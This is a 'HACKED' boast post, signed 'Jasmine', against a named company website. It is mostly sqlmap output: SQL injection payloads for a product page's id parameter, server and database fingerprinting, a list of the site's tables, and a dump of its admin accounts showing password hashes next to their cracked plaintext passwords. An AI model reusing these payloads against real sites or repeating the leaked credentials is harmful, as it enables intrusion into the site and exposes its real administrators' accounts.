teamsable.com HACKED

 /\     /\
{  `---'  }
{  O   O  }
~~>  V  <~~
 \  \|/  /
  `-----'____
  /     \    \_
 {       }\  )_\_   _
 |  \_/  |/ /  \_\_/ )
  \__/  /(_/     \__/
    (__/
      Jasmine
==================================================
http://www.teamsable.com/products/product_detail.php?id=36

Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=36' AND 7418=7418 AND 'olBH'='olBH

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=36' AND (SELECT 8240 FROM(SELECT COUNT(*),CONCAT(0x7179666571,(SELECT (CASE WHEN (8240=8240) THEN 1 ELSE 0 END)),0x716f787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'gXOn'='gXOn
---
[22:44:02] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS
web application technology: Apache 2.2.23, PHP 5.4.27
back-end DBMS: MySQL 5.0

available databases [3]:
[*] information_schema
[*] teamsable2
[*] test

[14 tables]
+-----------------+
| admin           |
| admin_log       |
| banner          |
| contact         |
| contact_cata    |
| download        |
| download_file   |
| mail            |
| mail2           |
| news            |
| news_cata       |
| product         |
| product_cata    |
| product_subcata |
+-----------------+

Database: teamsable2
Table: admin
[13 columns]
+----------------+--------------+
| Column         | Type         |
+----------------+--------------+
| level          | varchar(100) |
| account        | varchar(30)  |
| creator        | varchar(20)  |
| creator_date   | timestamp    |
| email          | varchar(100) |
| id             | int(11)      |
| level_admin    | int(1)       |
| login_date     | datetime     |
| modifier       | varchar(20)  |
| modify_date    | datetime     |
| new_login_date | datetime     |
| password       | varchar(50)  |
| username       | varchar(50)  |
+----------------+--------------+
Database: teamsable2
Table: admin
[3 entries]
+---------------+----------------------------------+
| username      | password                         |
+---------------+----------------------------------+
| administrator | 1bd71dffb85790a2ad98dcc113f8acdc |---> Team1234
| Ruby          | 7c84e42be5e463bd0683c79bc1155042 |---> ruby0903
| 百崴管理者     | d6ce70f6f50bd61e38cfbff41f691e41 |---> paviuser
+---------------+----------------------------------+